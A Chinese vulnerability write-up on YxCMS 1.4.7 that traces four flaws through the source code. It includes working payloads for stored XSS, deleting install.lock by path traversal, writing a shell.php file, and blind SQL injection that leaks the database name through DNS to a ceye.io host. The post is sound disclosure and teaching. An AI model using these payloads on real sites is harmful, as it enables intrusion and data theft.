YxCMS 1.4.7 最新版漏洞分析
i春秋作家:F0rmat
原文来自:YxCMS 1.4.7 最新版漏洞分析
0x01前言
很感谢关注我专辑的表哥,我会坚持写下去的,最近会慢一点,一月四篇是正常的。
在先知看到的,大部分都是后台漏洞,部分厂商对于后台的漏洞都不认可,因为厂商觉得能进入后台这些漏洞都不是漏洞。最恐怖的是厂商否认了漏洞存在,然后偷偷的去修复。
0x02 安装程序
具体的安装和使用的详细可以上官网查看https://www.kancloud.cn/yongheng/yxcms
0x03 前台XSS
1.漏洞复现
- 打开链接http://sb.com/index.php?r=default/column/index&col=guestbook
输入payload:<svg/onload=alert(1)>
- 然后登陆后台,查看审核
2.漏洞分析
-
前台的文件源码
protected/apps/default/controller/columnController.php
- 后台的文件源码
protected/apps/admin/controller/extendfieldController.php
中间没什么过滤,具体可以看松哥的一篇文章:https://www.hackersb.cn/hacker/85.html
0x04 任意文件删除
1.漏洞复现
- 需要先登录后台,然后访问之后会显示缩略图不存在:
Payload:http://sb.com/index.php?r=admin/photo/delpic
POST:picname=../../protected/apps/install/install.lock - 然后访问网站首页就会自动转到安装的页面http://sb.com/index.php
- 看到目录下的install.lock文件已经被删除了
2.漏洞分析
- 漏洞文件:
protected/apps/admin/controller/photoController.php
,在第355行的delpic()函数,可以看到$picname
接收POST过来的值,然后$path
等于文件开头定义的静态变量static protected $uploadpath='';//图片上传路径
没有对传入的值进行任何的过滤,使用函数file_exists()
判断一下文件是否存在就给unlink
执行删除文件了。
0x05 任意文件写入
1.漏洞复现
- 打开地址http://sb.com/index.php?r=admin/set/tpadd&Mname=default
- 打开我们的文件监控软件
FolderChangesView
,输入我们的程序路径D:\phpStudy\PHPTutorial\WWW\YXcms
- 然后写shell.php文件名,写入我们的代码。
- 然后会在
\protected\apps\default\view\default
下面生成我们写入的文件。2.漏洞分析
- 漏洞文件
protected/apps/admin/controller/setController.php
的140行,$tpfile
接收到GET传过来的值,如果为空的话就会报非法操作。传过来的URL是admin/set/tpadd&Mname=default
,所以$tpfile
就是default
。 - 再来下是检测是否有POST的值,接受到POST过来的
filename
,用trim
去掉两边的空格。接收到POST过来的code
,用stripcslashes
反转义。 $filepath=$templepath.$filename.'.php'
这一句是路径和文件的拼接,然后下面检测路径是否存在。-
最后没有过滤任何的危险函数就传给
file_put_contents
函数,写入网站的目录。0x06 SQL注入
1.漏洞复现
这个盲注可以用ceye.io和python脚本跑,我之前的文章也有写到。
http://sb.com/index.php?r=admin/fragment/index
payload:1 and if((select load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\abc'))),1,1))--
- 点击删除
2.漏洞分析
- 查看漏洞文件
protected/apps/admin/controller/fragmentController.php
的第63行 - 我们跟
if(model('fragment')->delete("id='$id'"))
,它会先到protected/core.php
文件里面的model
- 然后到
protected/apps/admin/model/fragmentModel.php
- 继续
protected/base/model/baseModel.php
- 再来到最底层的数据库操作类
protected/base/model/model.php
的第45行这个
delete()
是从哪里来的,我们来看第十三行的代码,创建了一个对象cpModel
-
漏洞文件在
protected/include/core/cpModel.class.php
,这里用到了一个方法
_parseCondition()
这个函数是在
protected/include/core/db/cpMysql.class.php
的128行里面有一个行数来过滤
escape
,我们找到74行的这个函数定义不过这个函数有一句
is_array
如果是数组才会执行下面的过滤,如果不是的话就正常执行下去,没有任何sql的过滤就造成了注入漏洞。0x07 参考
程序下载:https://www.lanzous.com/i1w4bsb
https://xz.aliyun.com/t/2734
https://bbs.ichunqiu.com/thread-22002-1-1.html
http://ceye.io -
大家有任何问题可以提问,更多文章可到i春秋论坛阅读哟~